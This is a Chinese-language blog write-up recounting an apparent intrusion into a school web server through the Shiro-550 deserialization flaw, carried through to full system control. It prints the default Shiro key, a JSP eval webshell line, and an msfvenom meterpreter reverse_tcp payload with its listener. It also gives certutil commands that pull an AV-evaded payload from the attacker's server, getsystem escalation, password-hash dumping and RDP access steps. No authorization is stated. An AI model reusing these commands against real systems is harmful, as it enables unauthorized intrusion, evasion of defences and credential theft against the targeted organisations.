记一次从shiro-550到内网渗透的全过程
2022-7-22 00:2:16 Author: 橘猫学安全(查看原文) 阅读量:19 收藏

文章来源:先知社区(御林安全之落花)

原文地址:https://xz.aliyun.com/t/11201

0x01 前言

近日对学校网站进行了一波指纹识别,正好发现一个shiro框架网站存在漏洞,故有此文。

0x02 shiro-550知识回顾

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,字段的值是这样处理的:序列化,AES加密,Base64加密。最终得到的值传到后端后,解码过程即为:Base64解码,AES解密,反序列化

在AES加解密时,需要使用到密钥key和一个向量值IV。在进行AES加密后,IV值会被放到加密得到的密文前面,共16字节,然后才进行Base64加密;因此解密时,在经过Base64解密后得到的前16字节即为IV值。而key值则是被硬编码在文件中,即被存放到程序源代码中,也就是直接泄露了。例如默认key:kPH+bIxk5D2deZiIxcaaaA==

因此,攻击者可以先正常登录,对cookie中rememberMe的值进行base64解码,取前16字节,即可得到IV值。然后构造一个恶意的对象,将其进行序列化,使用泄露的key和IV值进行AES加密,再将IV值放到密文前面,进行base64加密,替换rememberMe的值,发送即可。后端就会进行解密、反序列化,最终触发RCE。

0x03 指纹识别

先使用xray爆破得到一波子域名,然后使用sublime进行处理得到如下格式的URL

接着使用Ehole3.0重构版进行批量指纹识别
发现识别出多个网站为shiro框架。访问存在漏洞的那个网站
发现其登录口使用的是javapms管理系统。然而并没有发现”记住我“这个功能点,登录后抓包也没有发现存在rememberMe这个字段。尝试手动添加
发现响应包中出现了经典的rememberMe=deleteMe字段。于是确认此处为shiro框架。

0x04 getshell

使用利用工具去碰撞key

成功碰撞出一个key。于是可以执行命令whoami
发现是administrator权限。dir一下得到当前目录后,直接cd到webapps目录下,发现只有一个默认ROOT的目录,cd进入后可以看到网站的文件
cd xxx/webapps/ROOT && dir

尝试写入一句话
echo ^<%eval request("cmd");%^>>yl_test.jsp
然而很快就被杀掉了。这里利用BCEL做了一下webshell免杀,上传成功。尝试访问:
http://xxx/bcel.jsp
竟然是404,尝试修改一下index.jsp,重新访问并没有发现修改后的内容,猜测可能是没有启用热部署更新吧。于是回到webapps目录,新建一个文件夹并再次上传webshell。这次访问
http://xxx/test/bcel.jsp
成功访问。然而尝试使用蚁剑连接时
无法连webshell,于是干脆直接上传exe上线吧。

0x05 MSF上线

tasklist /svc

将输出结果粘贴到掩日中

发现存在多个防御软件。于是使用msfvenom生成c文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxx lport=1234 -f c >1234.c
同时开启监听
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost xxxset lport 1234run
将1234.c使用掩日的免杀分离方式,得到两个文件test.exe和test.txt。使用python开启http服务,让目标执行命令下载
certutil.exe -urlcache -split -f http://xxx:1111/test.txtcertutil.exe -urlcache -split -f http://xxx:1111/test.exe
之后直接运行即可上线成功。

0x06 信息收集

systeminfo
发现是虚拟机,看一下IP
只有公网地址,自然没有域。再看一下用户
只有两个用户。使用getsystem提权
直接获取system权限。导出密码
获取到Administrator的NTLM Hash。到cmd5中解密
发现竟然需要付费...只好找大师傅来解密最终得到了密码。

0x07 远程桌面连接

netstat -ano | findstr "3389"

3389竟然没开?猜测很可能是换了端口。于是可用如下方式找远程桌面连接的端口。

tasklist /svc
找到svchost.exe对应的PID-2428,接着找到对应的进程
netstat -ano | findstr "2428"
发现12289端口正在监听,这就是那个远程桌面的端口了。尝试使用Windows自带的mstsc来连接
发现爆出了这个错误,进入powershell执行如下命令
New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name CredSSP -ForceNew-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP -Name Parameters -ForceGet-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters | New-ItemProperty -Name AllowEncryptionOracle -Value 2 -PropertyType DWORD -Force
但是生效需要重启计算机,担心出什么意外故不敢重启。后来在kali上安装了一个remmina,远程连接
直接就连上去了,渗透也就到此为止。

0x08 总结

这是本人第一次实战进入内网,虽然没什么技术含量,但熟悉了整个渗透流程,也刚好把前段时间所学的shiro系列漏洞给实际应用起来,收获颇丰。

0x09 参考文章

https://su18.org/post/shiro-5/https://help.aliyun.com/document_detail/71931.html

侵权请私聊公众号删文

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247494726&idx=1&sn=3d2d6625b656297eeaca18ae587db31b&chksm=c04d6b78f73ae26ec756a261e52ce8aacf093b0eba6e8ddc8f1afa26cb405136e55445d3c650#rd
如有侵权请联系:admin#unsafe.sh